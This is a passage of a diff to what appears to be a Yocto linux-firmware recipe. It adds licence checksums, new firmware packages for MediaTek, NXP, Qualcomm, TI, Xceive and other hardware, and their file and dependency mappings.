file://LICENCE.Netronome;md5=4add08f2577086d44447996503cddf5f \
file://LICENCE.nvidia;md5=4428a922ed3ba2ceec95f076a488ce07 \
file://LICENCE.NXP;md5=58bb8ba632cd729b9ba6183bc6aed36f \
file://LICENSE.nxp;md5=cca321ca1524d6a1e4fed87486cd82dc \
+ file://LICENSE.nxp_mc_firmware;md5=9dc97e4b279b3858cae8879ae2fe5dd7 \
file://LICENCE.OLPC;md5=5b917f9d8c061991be4f6f5f108719cd \
file://LICENCE.open-ath9k-htc-firmware;md5=1b33c9f4d17bc4d457bdb23727046837 \
file://LICENCE.phanfw;md5=954dcec0e051f9409812b561ea743bfa \
@@ -142,7 +151,7 @@ LIC_FILES_CHKSUM = "file://LICENCE.Abilis;md5=b5ee3f410780e56711ad48eadc22b8bc \
"
# WHENCE checksum is defined separately to ease overriding it if
# class-devupstream is selected.
-WHENCE_CHKSUM = "41f9a48bf27971b126a36f9344594dcd"
+WHENCE_CHKSUM = "ceb5248746d24d165b603e71b288cf75"
# These are not common licenses, set NO_GENERIC_LICENSE for them
# so that the license files will be copied from fetched source
@@ -152,6 +161,7 @@ NO_GENERIC_LICENSE[Firmware-agere] = "LICENCE.agere"
NO_GENERIC_LICENSE[Firmware-amdgpu] = "LICENSE.amdgpu"
NO_GENERIC_LICENSE[Firmware-amd-ucode] = "LICENSE.amd-ucode"
NO_GENERIC_LICENSE[Firmware-amlogic_vdec] = "LICENSE.amlogic_vdec"
+NO_GENERIC_LICENSE[Firmware-amphion_vpu] = "LICENSE.amphion_vpu"
NO_GENERIC_LICENSE[Firmware-atheros_firmware] = "LICENCE.atheros_firmware"
NO_GENERIC_LICENSE[Firmware-atmel] = "LICENSE.atmel"
NO_GENERIC_LICENSE[Firmware-broadcom_bcm43xx] = "LICENCE.broadcom_bcm43xx"
@@ -173,6 +183,7 @@ NO_GENERIC_LICENSE[Firmware-hfi1_firmware] = "LICENSE.hfi1_firmware"
NO_GENERIC_LICENSE[Firmware-i915] = "LICENSE.i915"
NO_GENERIC_LICENSE[Firmware-ibt_firmware] = "LICENCE.ibt_firmware"
NO_GENERIC_LICENSE[Firmware-ice] = "LICENSE.ice"
+NO_GENERIC_LICENSE[Firmware-ice_enhanced] = "LICENSE.ice_enhanced"
NO_GENERIC_LICENSE[Firmware-IntcSST2] = "LICENCE.IntcSST2"
NO_GENERIC_LICENSE[Firmware-it913x] = "LICENCE.it913x"
NO_GENERIC_LICENSE[Firmware-iwlwifi_firmware] = "LICENCE.iwlwifi_firmware"
@@ -181,11 +192,13 @@ NO_GENERIC_LICENSE[Firmware-linaro] = "LICENCE.linaro"
NO_GENERIC_LICENSE[Firmware-Lontium] = "LICENSE.Lontium"
NO_GENERIC_LICENSE[Firmware-Marvell] = "LICENCE.Marvell"
NO_GENERIC_LICENSE[Firmware-mediatek] = "LICENCE.mediatek"
+NO_GENERIC_LICENSE[Firmware-microchip] = "LICENCE.microchip"
NO_GENERIC_LICENSE[Firmware-moxa] = "LICENCE.moxa"
NO_GENERIC_LICENSE[Firmware-myri10ge_firmware] = "LICENCE.myri10ge_firmware"
NO_GENERIC_LICENSE[Firmware-netronome] = "LICENCE.Netronome"
NO_GENERIC_LICENSE[Firmware-nvidia] = "LICENCE.nvidia"
NO_GENERIC_LICENSE[Firmware-nxp] = "LICENSE.nxp"
+NO_GENERIC_LICENSE[Firmware-nxp_mc_firmware] = "LICENSE.nxp_mc_firmware"
NO_GENERIC_LICENSE[Firmware-OLPC] = "LICENCE.OLPC"
NO_GENERIC_LICENSE[Firmware-ath9k-htc] = "LICENCE.open-ath9k-htc-firmware"
NO_GENERIC_LICENSE[Firmware-phanfw] = "LICENCE.phanfw"
@@ -224,7 +237,7 @@ SRC_URI:class-devupstream = "git://git.kernel.org/pub/scm/linux/kernel/git/firmw
# Pin this to the 20220509 release, override this in local.conf
SRCREV:class-devupstream ?= "b19cbdca78ab2adfd210c91be15a22568e8b8cae"
-SRC_URI[sha256sum] = "88d46c543847ee3b03404d4941d91c92974690ee1f6fdcbee9cef3e5f97db688"
+SRC_URI[sha256sum] = "c98d200fc4a3120de1a594713ce34e135819dff23e883a4ed387863ba25679c7"
inherit allarch
@@ -240,14 +253,22 @@ do_install() {
}
-PACKAGES =+ "${PN}-ralink-license ${PN}-ralink \
+PACKAGES =+ "${PN}-amphion-vpu-license ${PN}-amphion-vpu \
+ ${PN}-cw1200-license ${PN}-cw1200 \
+ ${PN}-ralink-license ${PN}-ralink \
${PN}-mt7601u-license ${PN}-mt7601u \
+ ${PN}-mt7650-license ${PN}-mt7650 \
+ ${PN}-mt76x2-license ${PN}-mt76x2 \
${PN}-radeon-license ${PN}-radeon \
${PN}-amdgpu-license ${PN}-amdgpu \
${PN}-marvell-license ${PN}-pcie8897 ${PN}-pcie8997 \
+ ${PN}-mediatek-license ${PN}-mediatek \
+ ${PN}-microchip-license ${PN}-microchip \
+ ${PN}-moxa-license ${PN}-moxa \
${PN}-sd8686 ${PN}-sd8688 ${PN}-sd8787 ${PN}-sd8797 ${PN}-sd8801 \
${PN}-sd8887 ${PN}-sd8897 ${PN}-sd8997 ${PN}-usb8997 \
${PN}-ti-connectivity-license ${PN}-wlcommon ${PN}-wl12xx ${PN}-wl18xx \
+ ${PN}-ti-keystone-license ${PN}-ti-keystone \
${PN}-vt6656-license ${PN}-vt6656 \
${PN}-rs9113 ${PN}-rs9116 \
${PN}-rtl-license ${PN}-rtl8188 ${PN}-rtl8192cu ${PN}-rtl8192ce ${PN}-rtl8192su ${PN}-rtl8723 ${PN}-rtl8821 \
@@ -291,7 +312,7 @@ PACKAGES =+ "${PN}-ralink-license ${PN}-ralink \
${PN}-bcm43xx-hdr \
${PN}-cirrus-license ${PN}-cirrus \
${PN}-cnm-license ${PN}-cnm \
- ${PN}-atheros-license ${PN}-ar9170 ${PN}-ath6k ${PN}-ath9k ${PN}-ath3k \
+ ${PN}-atheros-license ${PN}-ar5523 ${PN}-ar9170 ${PN}-ath6k ${PN}-ath9k ${PN}-ath3k \
${PN}-gplv2-license ${PN}-carl9170 \
${PN}-ar3k-license ${PN}-ar3k ${PN}-ath10k-license ${PN}-ath10k ${PN}-ath11k ${PN}-qca \
\
@@ -317,6 +338,7 @@ PACKAGES =+ "${PN}-ralink-license ${PN}-ralink \
${PN}-ibt-misc \
${PN}-i915-license ${PN}-i915 \
${PN}-ice-license ${PN}-ice \
+ ${PN}-ice-enhanced-license ${PN}-ice-enhanced \
${PN}-adsp-sst-license ${PN}-adsp-sst \
${PN}-bnx2-mips \
${PN}-liquidio \
@@ -333,15 +355,21 @@ PACKAGES =+ "${PN}-ralink-license ${PN}-ralink \
${PN}-nxp9098-sdio \
${PN}-nxpiw416-sdio \
${PN}-nxpiw612-sdio \
+ ${PN}-nxp-mc-license ${PN}-nxp-mc \
${PN}-netronome-license ${PN}-netronome \
+ ${PN}-olpc-license ${PN}-olpc \
+ ${PN}-phanfw-license ${PN}-phanfw \
${PN}-qat ${PN}-qat-license \
${PN}-qcom-license ${PN}-qcom-yamato-license \
- ${PN}-qcom-venus-1.8 ${PN}-qcom-venus-4.2 ${PN}-qcom-venus-5.2 ${PN}-qcom-venus-5.4 \
+ ${PN}-qcom-venus-1.8 ${PN}-qcom-venus-4.2 ${PN}-qcom-venus-5.2 ${PN}-qcom-venus-5.4 ${PN}-qcom-venus-6.0 \
${PN}-qcom-vpu-1.0 ${PN}-qcom-vpu-2.0 \
${PN}-qcom-adreno-a2xx ${PN}-qcom-adreno-a3xx ${PN}-qcom-adreno-a4xx ${PN}-qcom-adreno-a530 \
- ${PN}-qcom-adreno-a630 ${PN}-qcom-adreno-a650 ${PN}-qcom-adreno-a660 \
+ ${PN}-qcom-adreno-a630 ${PN}-qcom-adreno-a650 ${PN}-qcom-adreno-a660 ${PN}-qcom-adreno-a702 \
${PN}-qcom-apq8016-modem ${PN}-qcom-apq8016-wifi \
${PN}-qcom-apq8096-adreno ${PN}-qcom-apq8096-audio ${PN}-qcom-apq8096-modem \
+ ${PN}-qcom-qcm2290-adreno ${PN}-qcom-qcm2290-audio ${PN}-qcom-qcm2290-modem ${PN}-qcom-qcm2290-wifi \
+ ${PN}-qcom-qrb4210-adreno ${PN}-qcom-qrb4210-audio ${PN}-qcom-qrb4210-compute \
+ ${PN}-qcom-qrb4210-modem ${PN}-qcom-qrb4210-wifi \
${PN}-qcom-sc8280xp-lenovo-x13s-compat \
${PN}-qcom-sc8280xp-lenovo-x13s-audio \
${PN}-qcom-sc8280xp-lenovo-x13s-adreno \
@@ -350,13 +378,39 @@ PACKAGES =+ "${PN}-ralink-license ${PN}-ralink \
${PN}-qcom-sdm845-adreno ${PN}-qcom-sdm845-audio ${PN}-qcom-sdm845-compute ${PN}-qcom-sdm845-modem \
${PN}-qcom-sdm845-thundercomm-db845c-sensors \
${PN}-qcom-sm8250-adreno ${PN}-qcom-sm8250-audio ${PN}-qcom-sm8250-compute \
+ ${PN}-qcom-sm8250-thundercomm-rb5-sensors \
+ ${PN}-qla2xxx ${PN}-qla2xxx-license \
${PN}-amlogic-vdec-license ${PN}-amlogic-vdec \
${PN}-lt9611uxc ${PN}-lontium-license \
${PN}-whence-license \
+ ${PN}-wl1251-license ${PN}-wl1251 \
+ ${PN}-xc4000-license ${PN}-xc4000 \
+ ${PN}-xc5000-license ${PN}-xc5000 \
+ ${PN}-xc5000c-license ${PN}-xc5000c \
${PN}-license \
"
+# For Amphion VPU
+LICENSE:${PN}-amphion-vpu = "Firmware-amphion_vpu"
+LICENSE:${PN}-amphion-vpu-license = "Firmware-amphion_vpu"
+
+FILES:${PN}-amphion-vpu = "${nonarch_base_libdir}/firmware/amphion/*"
+FILES:${PN}-amphion-vpu-license = " \
+ ${nonarch_base_libdir}/firmware/LICENSE.amphion_vpu \
+"
+RDEPENDS:${PN}-amphion-vpu += "${PN}-amphion-vpu-license"
+
+# For cw1200
+LICENSE:${PN}-cw1200 = "Firmware-cw1200"
+LICENSE:${PN}-cw1200-license = "Firmware-cw1200"
+
+FILES:${PN}-cw1200 = "${nonarch_base_libdir}/firmware/wsm_22.bin"
+FILES:${PN}-cw1200-license = "${nonarch_base_libdir}/firmware/LICENCE.cw1200"
+
+RDEPENDS:${PN}-cw1200 += "${PN}-cw1200-license"
+
# For atheros
+LICENSE:${PN}-ar5523 = "Firmware-atheros_firmware"
LICENSE:${PN}-ar9170 = "Firmware-atheros_firmware"
LICENSE:${PN}-ath3k = "Firmware-atheros_firmware"
LICENSE:${PN}-ath6k = "Firmware-atheros_firmware"
@@ -364,6 +418,9 @@ LICENSE:${PN}-ath9k = "Firmware-atheros_firmware"
LICENSE:${PN}-atheros-license = "Firmware-atheros_firmware"
FILES:${PN}-atheros-license = "${nonarch_base_libdir}/firmware/LICENCE.atheros_firmware"
+FILES:${PN}-ar5523 = " \
+ ${nonarch_base_libdir}/firmware/ar5523.bin \
+"
FILES:${PN}-ar9170 = " \
${nonarch_base_libdir}/firmware/ar9170*.fw \
"
@@ -382,6 +439,7 @@ FILES:${PN}-ath9k = " \
${nonarch_base_libdir}/firmware/ath9k_htc/htc_9271-1.4.0.fw \
"
+RDEPENDS:${PN}-ar5523 += "${PN}-atheros-license"
RDEPENDS:${PN}-ar9170 += "${PN}-atheros-license"
RDEPENDS:${PN}-ath6k += "${PN}-atheros-license"
RDEPENDS:${PN}-ath9k += "${PN}-atheros-license"
@@ -445,11 +503,73 @@ LICENSE:${PN}-mt7601u-license = "Firmware-ralink_a_mediatek_company_firmware"
FILES:${PN}-mt7601u-license = "${nonarch_base_libdir}/firmware/LICENCE.ralink_a_mediatek_company_firmware"
FILES:${PN}-mt7601u = " \
${nonarch_base_libdir}/firmware/mediatek/mt7601u.bin \
+ ${nonarch_base_libdir}/firmware/mt7601u.bin \
"
-
RDEPENDS:${PN}-mt7601u += "${PN}-mt7601u-license"
+# For MediaTek Bluetooth USB driver 7650
+LICENSE:${PN}-mt7650 = "Firmware-ralink_a_mediatek_company_firmware"
+LICENSE:${PN}-mt7650-license = "Firmware-ralink_a_mediatek_company_firmware"
+
+FILES:${PN}-mt7650-license = " \
+ ${nonarch_base_libdir}/firmware/LICENCE.ralink_a_mediatek_company_firmware \
+"
+FILES:${PN}-mt7650 = " \
+ ${nonarch_base_libdir}/firmware/mediatek/mt7650.bin \
+ ${nonarch_base_libdir}/firmware/mt7650.bin \
+"
+RDEPENDS:${PN}-mt7650 += "${PN}-mt7650-license"
+
+# For MediaTek MT76x2 Wireless MACs
+LICENSE:${PN}-mt76x2 = "Firmware-ralink_a_mediatek_company_firmware"
+LICENSE:${PN}-mt76x2-license = "Firmware-ralink_a_mediatek_company_firmware"
+
+FILES:${PN}-mt76x2-license = " \
+ ${nonarch_base_libdir}/firmware/LICENCE.ralink_a_mediatek_company_firmware \
+"
+FILES:${PN}-mt76x2 = " \
+ ${nonarch_base_libdir}/firmware/mediatek/mt7662.bin \
+ ${nonarch_base_libdir}/firmware/mt7662.bin \
+ ${nonarch_base_libdir}/firmware/mediatek/mt7662_rom_patch.bin \
+ ${nonarch_base_libdir}/firmware/mt7662_rom_patch.bin \
+"
+RDEPENDS:${PN}-mt76x2 += "${PN}-mt76x2-license"
+
+# For MediaTek
+LICENSE:${PN}-mediatek = "Firmware-mediatek"
+LICENSE:${PN}-mediatek-license = "Firmware-mediatek"
+
+FILES:${PN}-mediatek = " \
+ ${nonarch_base_libdir}/firmware/mediatek/* \
+ ${nonarch_base_libdir}/firmware/vpu_d.bin \
+ ${nonarch_base_libdir}/firmware/vpu_p.bin \
+"
+FILES:${PN}-mediatek-license = " \
+ ${nonarch_base_libdir}/firmware/LICENCE.mediatek \
+"
+RDEPENDS:${PN}-mediatek += "${PN}-mediatek-license"
+
+# For Microchip
+LICENSE:${PN}-microchip = "Firmware-microchip"
+LICENSE:${PN}-microchip-license = "Firmware-microchip"
+
+FILES:${PN}-microchip = "${nonarch_base_libdir}/firmware/microchip/*"
+FILES:${PN}-microchip-license = " \
+ ${nonarch_base_libdir}/firmware/LICENCE.microchip \
+"
+RDEPENDS:${PN}-microchip += "${PN}-microchip-license"
+
+# For MOXA
+LICENSE:${PN}-moxa = "Firmware-moxa"
+LICENSE:${PN}-moxa-license = "Firmware-moxa"
+
+FILES:${PN}-moxa = "${nonarch_base_libdir}/firmware/moxa"
+FILES:${PN}-moxa-license = "${nonarch_base_libdir}/firmware/LICENCE.moxa"
+
+RDEPENDS:${PN}-moxa += "${PN}-moxa-license"
+
# For radeon
+
LICENSE:${PN}-radeon = "Firmware-radeon"
LICENSE:${PN}-radeon-license = "Firmware-radeon"
@@ -604,6 +724,16 @@ RDEPENDS:${PN}-nxp9098-sdio += "${PN}-nxp9098-common"
RDEPENDS:${PN}-nxpiw416-sdio += "${PN}-nxp-license"
RDEPENDS:${PN}-nxpiw612-sdio += "${PN}-nxp-license"
+# For nxp-mc
+LICENSE:${PN}-nxp-mc = "Firmware-nxp_mc_firmware"
+LICENSE:${PN}-nxp-mc-license = "Firmware-nxp_mc_firmware"
+
+FILES:${PN}-nxp-mc= "${nonarch_base_libdir}/firmware/dpaa2/mc/*"
+FILES:${PN}-nxp-mc-license = " \
+ ${nonarch_base_libdir}/firmware/LICENSE.nxp_mc_firmware \
+"
+RDEPENDS:${PN}-nxp-mc += "${PN}-nxp-mc-license"
+
# For Nvidia
LICENSE:${PN}-nvidia-gpu = "Firmware-nvidia"
LICENSE:${PN}-nvidia-tegra = "Firmware-nvidia"
@@ -626,6 +756,37 @@ RDEPENDS:${PN}-nvidia-gpu += "${PN}-nvidia-license"
RDEPENDS:${PN}-nvidia-tegra += "${PN}-nvidia-license"
RDEPENDS:${PN}-nvidia-tegra-k1 += "${PN}-nvidia-license"
+# For OLPC
+LICENSE:${PN}-olpc = "Firmware-OLPC"
+LICENSE:${PN}-olpc-license = "Firmware-OLPC"
+
+FILES:${PN}-olpc = " \
+ ${nonarch_base_libdir}/firmware/libertas/lbtf_sdio.bin \
+ ${nonarch_base_libdir}/firmware/lbtf_usb.bin \
+ ${nonarch_base_libdir}/firmware/libertas/usb8388_olpc.bin \
+"
+FILES:${PN}-olpc-license = "${nonarch_base_libdir}/firmware/LICENCE.OLPC"
+
+RDEPENDS:${PN}-olpc += "${PN}-olpc-license"
+
+# For phanfw
+LICENSE:${PN}-phanfw = "Firmware-phanfw"
+LICENSE:${PN}-phanfw-license = "Firmware-phanfw"
+
+FILES:${PN}-phanfw = "${nonarch_base_libdir}/firmware/phanfw.bin"
+FILES:${PN}-phanfw-license = "${nonarch_base_libdir}/firmware/LICENCE.phanfw"
+
+RDEPENDS:${PN}-phanfw += "${PN}-phanfw-license"
+
+# For qla2xxx
+LICENSE:${PN}-qla2xxx = "Firmware-qla2xxx"
+LICENSE:${PN}-qla2xxx-license = "Firmware-qla2xxx"
+
+FILES:${PN}-qla2xxx = "${nonarch_base_libdir}/firmware/ql2*"
+FILES:${PN}-qla2xxx-license = "${nonarch_base_libdir}/firmware/LICENCE.qla2xxx"
+
+RDEPENDS:${PN}-qla2xxx += "${PN}-qla2xxx-license"
+
# For RSI RS911x WiFi
LICENSE:${PN}-rs9113 = "WHENCE"
LICENSE:${PN}-rs9116 = "WHENCE"
@@ -668,6 +829,7 @@ FILES:${PN}-rtl8723 = " \
"
FILES:${PN}-rtl8821 = " \
${nonarch_base_libdir}/firmware/rtlwifi/rtl8821*.bin \
+ ${nonarch_base_libdir}/firmware/rtw88/rtw8821*.bin \
"
FILES:${PN}-rtl8761 = " \
${nonarch_base_libdir}/firmware/rtl_bt/rtl8761*.bin \
@@ -691,6 +853,18 @@ RDEPENDS:${PN}-rtl8761 += "${PN}-rtl-license"
RDEPENDS:${PN}-rtl8822 += "${PN}-rtl-license"
RDEPENDS:${PN}-rtl8168 += "${PN}-whence-license"
+# For TI wl1251
+LICENSE:${PN}-wl1251 = "Firmware-wl1251"
+LICENSE:${PN}-wl1251-license = "Firmware-wl1251"
+
+FILES:${PN}-wl1251 = " \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/wl1251-fw.bin \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/wl1251-nvs.bin \
+"
+FILES:${PN}-wl1251-license = "${nonarch_base_libdir}/firmware/LICENCE.wl1251"
+
+RDEPENDS:${PN}-wl1251 += "${PN}-wl1251-license"
+
# For ti-connectivity
LICENSE:${PN}-wlcommon = "Firmware-ti-connectivity"
LICENSE:${PN}-wl12xx = "Firmware-ti-connectivity"
@@ -720,6 +894,16 @@ FILES:${PN}-wl18xx = " \
RDEPENDS:${PN}-wl12xx = "${PN}-ti-connectivity-license ${PN}-wlcommon"
RDEPENDS:${PN}-wl18xx = "${PN}-ti-connectivity-license ${PN}-wlcommon"
+# For ti-keystone
+LICENSE:${PN}-ti-keystone = "Firmware-ti-keystone"
+LICENSE:${PN}-ti-keystone-license = "Firmware-ti-keystone"
+
+FILES:${PN}-ti-keystone = "${nonarch_base_libdir}/firmware/ti-keystone/*"
+FILES:${PN}-ti-keystone-license = " \
+ ${nonarch_base_libdir}/firmware/LICENCE.ti-keystone \
+"
+RDEPENDS:${PN}-ti-keystone += "${PN}-ti-keystone-license"
+
# For vt6656
LICENSE:${PN}-vt6656 = "Firmware-via_vt6656"
LICENSE:${PN}-vt6656-license = "Firmware-via_vt6656"
@@ -731,6 +915,35 @@ FILES:${PN}-vt6656 = " \
RDEPENDS:${PN}-vt6656 = "${PN}-vt6656-license"
+# For xc4000
+LICENSE:${PN}-xc4000 = "Firmware-xc4000"
+LICENSE:${PN}-xc4000-license = "Firmware-xc4000"
+
+FILES:${PN}-xc4000 = "${nonarch_base_libdir}/firmware/dvb-fe-xc4000-1.4.1.fw"
+FILES:${PN}-xc4000-license = "${nonarch_base_libdir}/firmware/LICENCE.xc4000"
+
+RDEPENDS:${PN}-xc4000 += "${PN}-xc4000-license"
+
+# For xc5000
+LICENSE:${PN}-xc5000 = "Firmware-xc5000"
+LICENSE:${PN}-xc5000-license = "Firmware-xc5000"
+
+FILES:${PN}-xc5000 = "${nonarch_base_libdir}/firmware/dvb-fe-xc5000-1.6.114.fw"
+FILES:${PN}-xc5000-license = "${nonarch_base_libdir}/firmware/LICENCE.xc5000"
+
+RDEPENDS:${PN}-xc5000 += "${PN}-xc5000-license"
+
+# For xc5000c
+LICENSE:${PN}-xc5000c = "Firmware-xc5000c"
+LICENSE:${PN}-xc5000c-license = "Firmware-xc5000c"
+
+FILES:${PN}-xc5000c = " \
+ ${nonarch_base_libdir}/firmware/dvb-fe-xc5000c-4.1.30.7.fw \
+"
+FILES:${PN}-xc5000c-license = "${nonarch_base_libdir}/firmware/LICENCE.xc5000c"
+
+RDEPENDS:${PN}-xc5000c += "${PN}-xc5000c-license"
+
# For broadcom
# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo -e " \${PN}-$pkg \\"; done | sort -u
@@ -1053,10 +1266,26 @@ FILES:${PN}-i915-license = "${nonarch_base_libdir}/firmware/LICENSE.i915"
FILES:${PN}-i915 = "${nonarch_base_libdir}/firmware/i915"
RDEPENDS:${PN}-i915 = "${PN}-i915-license"
+# For ice-enhanced
+LICENSE:${PN}-ice-enhanced = "Firmware-ice_enhanced"
+LICENSE:${PN}-ice-enhanced-license = "Firmware-ice_enhanced"
+
+FILES:${PN}-ice-enhanced = " \
+ ${nonarch_base_libdir}/firmware/intel/ice/ddp-comms/* \
+ ${nonarch_base_libdir}/firmware/intel/ice/ddp-wireless_edge/* \
+"
+FILES:${PN}-ice-enhanced-license = " \
+ ${nonarch_base_libdir}/firmware/LICENSE.ice_enhanced \
+"
+RDEPENDS:${PN}-ice-enhanced = "${PN}-ice-enhanced-license"
+
LICENSE:${PN}-ice = "Firmware-ice"
LICENSE:${PN}-ice-license = "Firmware-ice"
FILES:${PN}-ice-license = "${nonarch_base_libdir}/firmware/LICENSE.ice"
-FILES:${PN}-ice = "${nonarch_base_libdir}/firmware/intel/ice"
+FILES:${PN}-ice = " \
+ ${nonarch_base_libdir}/firmware/intel/ice/ddp/* \
+ ${nonarch_base_libdir}/firmware/intel/ice/ddp-lag/* \
+"
RDEPENDS:${PN}-ice = "${PN}-ice-license"
FILES:${PN}-adsp-sst-license = "${nonarch_base_libdir}/firmware/LICENCE.adsp_sst"
@@ -1079,6 +1308,7 @@ LICENSE:${PN}-qcom-venus-1.8 = "Firmware-qcom"
LICENSE:${PN}-qcom-venus-4.2 = "Firmware-qcom"
LICENSE:${PN}-qcom-venus-5.2 = "Firmware-qcom"
LICENSE:${PN}-qcom-venus-5.4 = "Firmware-qcom"
+LICENSE:${PN}-qcom-venus-6.0 = "Firmware-qcom"
LICENSE:${PN}-qcom-vpu-1.0 = "Firmware-qcom"
LICENSE:${PN}-qcom-vpu-2.0 = "Firmware-qcom"
LICENSE:${PN}-qcom-adreno-a2xx = "Firmware-qcom Firmware-qcom-yamato"
@@ -1088,11 +1318,21 @@ LICENSE:${PN}-qcom-adreno-a530 = "Firmware-qcom"
LICENSE:${PN}-qcom-adreno-a630 = "Firmware-qcom"
LICENSE:${PN}-qcom-adreno-a650 = "Firmware-qcom"
LICENSE:${PN}-qcom-adreno-a660 = "Firmware-qcom"
+LICENSE:${PN}-qcom-adreno-a702 = "Firmware-qcom"
LICENSE:${PN}-qcom-apq8016-modem = "Firmware-qcom"
LICENSE:${PN}-qcom-apq8016-wifi = "Firmware-qcom"
LICENSE:${PN}-qcom-apq8096-audio = "Firmware-qcom"
LICENSE:${PN}-qcom-apq8096-adreno = "Firmware-qcom"
LICENSE:${PN}-qcom-apq8096-modem = "Firmware-qcom"
+LICENSE:${PN}-qcom-qcm2290-adreno = "Firmware-qcom"
+LICENSE:${PN}-qcom-qcm2290-audio = "Firmware-qcom"
+LICENSE:${PN}-qcom-qcm2290-modem = "Firmware-qcom"
+LICENSE:${PN}-qcom-qcm2290-wifi = "Firmware-qcom"
+LICENSE:${PN}-qcom-qrb4210-adreno = "Firmware-qcom"
+LICENSE:${PN}-qcom-qrb4210-audio = "Firmware-qcom"
+LICENSE:${PN}-qcom-qrb4210-compute = "Firmware-qcom"
+LICENSE:${PN}-qcom-qrb4210-modem = "Firmware-qcom"
+LICENSE:${PN}-qcom-qrb4210-wifi = "Firmware-qcom"
LICENSE:${PN}-qcom-sc8280xp-lenovo-x13s-audio = "Firmware-qcom & Firmware-linaro"
LICENSE:${PN}-qcom-sc8280xp-lenovo-x13s-adreno = "Firmware-qcom"
LICENSE:${PN}-qcom-sc8280xp-lenovo-x13s-compute = "Firmware-qcom"
@@ -1105,6 +1345,7 @@ LICENSE:${PN}-qcom-sdm845-thundercomm-db845c-sensors = "Firmware-qcom"
LICENSE:${PN}-qcom-sm8250-audio = "Firmware-qcom"
LICENSE:${PN}-qcom-sm8250-adreno = "Firmware-qcom"
LICENSE:${PN}-qcom-sm8250-compute = "Firmware-qcom"
+LICENSE:${PN}-qcom-sm8250-thundercomm-rb5-sensors = "Firmware-qcom"
FILES:${PN}-qcom-license = "${nonarch_base_libdir}/firmware/LICENSE.qcom ${nonarch_base_libdir}/firmware/qcom/NOTICE.txt"
FILES:${PN}-qcom-yamato-license = "${nonarch_base_libdir}/firmware/LICENSE.qcom_yamato"
@@ -1112,6 +1353,7 @@ FILES:${PN}-qcom-venus-1.8 = "${nonarch_base_libdir}/firmware/qcom/venus-1.8/*"
FILES:${PN}-qcom-venus-4.2 = "${nonarch_base_libdir}/firmware/qcom/venus-4.2/*"
FILES:${PN}-qcom-venus-5.2 = "${nonarch_base_libdir}/firmware/qcom/venus-5.2/*"
FILES:${PN}-qcom-venus-5.4 = "${nonarch_base_libdir}/firmware/qcom/venus-5.4/*"
+FILES:${PN}-qcom-venus-6.0 = "${nonarch_base_libdir}/firmware/qcom/venus-6.0/*"
FILES:${PN}-qcom-vpu-1.0 = "${nonarch_base_libdir}/firmware/qcom/vpu-1.0/*"
FILES:${PN}-qcom-vpu-2.0 = "${nonarch_base_libdir}/firmware/qcom/vpu-2.0/*"
FILES:${PN}-qcom-adreno-a2xx = "${nonarch_base_libdir}/firmware/qcom/leia_*.fw ${nonarch_base_libdir}/firmware/qcom/yamato_*.fw"
@@ -1121,29 +1363,41 @@ FILES:${PN}-qcom-adreno-a530 = "${nonarch_base_libdir}/firmware/qcom/a530*.fw*"
FILES:${PN}-qcom-adreno-a630 = "${nonarch_base_libdir}/firmware/qcom/a630*.*"
FILES:${PN}-qcom-adreno-a650 = "${nonarch_base_libdir}/firmware/qcom/a650*.*"
FILES:${PN}-qcom-adreno-a660 = "${nonarch_base_libdir}/firmware/qcom/a660*.*"
+FILES:${PN}-qcom-adreno-a702 = "${nonarch_base_libdir}/firmware/qcom/a702*.*"
FILES:${PN}-qcom-apq8016-modem = "${nonarch_base_libdir}/firmware/qcom/apq8016/mba.mbn ${nonarch_base_libdir}/firmware/qcom/apq8016/modem.mbn"
FILES:${PN}-qcom-apq8016-wifi = "${nonarch_base_libdir}/firmware/qcom/apq8016/wcnss.mbn ${nonarch_base_libdir}/firmware/qcom/apq8016/WCNSS*"
FILES:${PN}-qcom-apq8096-adreno = "${nonarch_base_libdir}/firmware/qcom/apq8096/a530_zap.mbn ${nonarch_base_libdir}/firmware/qcom/a530_zap.mdt"
FILES:${PN}-qcom-apq8096-audio = "${nonarch_base_libdir}/firmware/qcom/apq8096/adsp*.*"
FILES:${PN}-qcom-apq8096-modem = "${nonarch_base_libdir}/firmware/qcom/apq8096/mba.mbn ${nonarch_base_libdir}/firmware/qcom/apq8096/modem*.* ${nonarch_base_libdir}/firmware/qcom/apq8096/wlanmdsp.mbn"
+FILES:${PN}-qcom-qcm2290-adreno = "${nonarch_base_libdir}/firmware/qcom/qcm2290/a702_zap.mbn"
+FILES:${PN}-qcom-qcm2290-audio = "${nonarch_base_libdir}/firmware/qcom/qcm2290/adsp*.*"
+FILES:${PN}-qcom-qcm2290-modem = "${nonarch_base_libdir}/firmware/qcom/qcm2290/modem*.*"
+FILES:${PN}-qcom-qcm2290-wifi = "${nonarch_base_libdir}/firmware/qcom/qcm2290/wlanmdsp.mbn"
+FILES:${PN}-qcom-qrb4210-adreno = "${nonarch_base_libdir}/firmware/qcom/qrb4210/a610_zap.mbn"
+FILES:${PN}-qcom-qrb4210-audio = "${nonarch_base_libdir}/firmware/qcom/qrb4210/adsp*.*"
+FILES:${PN}-qcom-qrb4210-compute = "${nonarch_base_libdir}/firmware/qcom/qrb4210/cdsp*.*"
+FILES:${PN}-qcom-qrb4210-modem = "${nonarch_base_libdir}/firmware/qcom/qrb4210/modem*.*"
+FILES:${PN}-qcom-qrb4210-wifi = "${nonarch_base_libdir}/firmware/qcom/qrb4210/wlanmdsp.mbn"
FILES:${PN}-qcom-sc8280xp-lenovo-x13s-compat = "${nonarch_base_libdir}/firmware/qcom/LENOVO/21BX"
-FILES:${PN}-qcom-sc8280xp-lenovo-x13s-audio = "${nonarch_base_libdir}/firmware/qcom/sc8280xp/LENOVO/21BX/*adsp*.* ${nonarch_base_libdir}/firmware/qcom/sc8280xp/LENOVO/21BX/battmgr.jsn ${nonarch_base_libdir}/firmware/qcom/sc8280xp/LENOVO/21BX/audioreach-tplg.bin"
